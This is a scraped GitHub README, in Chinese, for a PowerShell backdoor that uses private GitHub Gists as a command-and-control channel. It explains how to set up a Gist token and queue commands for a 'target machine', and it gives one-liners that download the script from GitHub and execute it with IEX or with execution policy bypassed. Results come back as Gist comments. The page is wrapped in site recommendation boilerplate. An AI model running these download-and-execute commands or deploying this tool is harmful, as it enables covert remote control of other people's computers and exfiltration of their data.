Giter Club home page Giter Club logo

powershell-github-shell's Introduction

###Powershell Github Shell Demo Result Gist:https://gist.github.com/zlocal/1d449f3c195531c8cafbebfe808ea46e

####使用方法:

1,创建github账户,访问https://github.com/settings/tokens/new 选中 gist Create gists ,创建访问Gists的token.
2, 访问 https://gist.github.com/ ,创建一个Gist,属性最好为private,只有自己能访问查看结果,名称为cmd.例:
Command:"time /T"
ReadFile:"c:/windows/temp/1.txt"
WriteFile:"http://www.github.com/raw/1.zip c:/wnidows/temp/2.txt"
Powershell:"Get-Process | Out-String"
Command:"whoami"

其中

Command后是想要执行的cmd命令,功能已测试OK
ReadFile是上传目标机器上的文件到Github,暂未实现
WriteFile下载文件到目标机器,暂未实现
Powershell后是可以执行的Powershell指令,暂未实现
3, 修改Powershell脚本的头部配置信息

$gistsUser="gitusername"; # github的用户名
$gistsApiToken="gittoken"; # 上步中得到的token ,例eed4239e439034a92fc4cbe0fbd2ca906999a9f1
$checkTime=60; # 每次获取命令结果需要等待的时间,秒为单位

4, 使powershell在目标机器上执行
Powershell执行方法

一句话远程加载(推荐)

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/zlocal/Powershell-Github-Shell/master/PGShell.ps1')

一句话本地加载

powershell IEX ([System.IO.File]::readAllText('PowershellGitShell.ps1'));	//powershell

一句话文件执行

powershell -executionPolicy bypass -File "c:/test/PowershellGitShell.ps1"	//powershell
5,可以修改cmd gist的内容,在$checkTime秒后刷新网页,结果会在评论中。结果需要使用URL DECODE解码。

powershell-github-shell's People

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.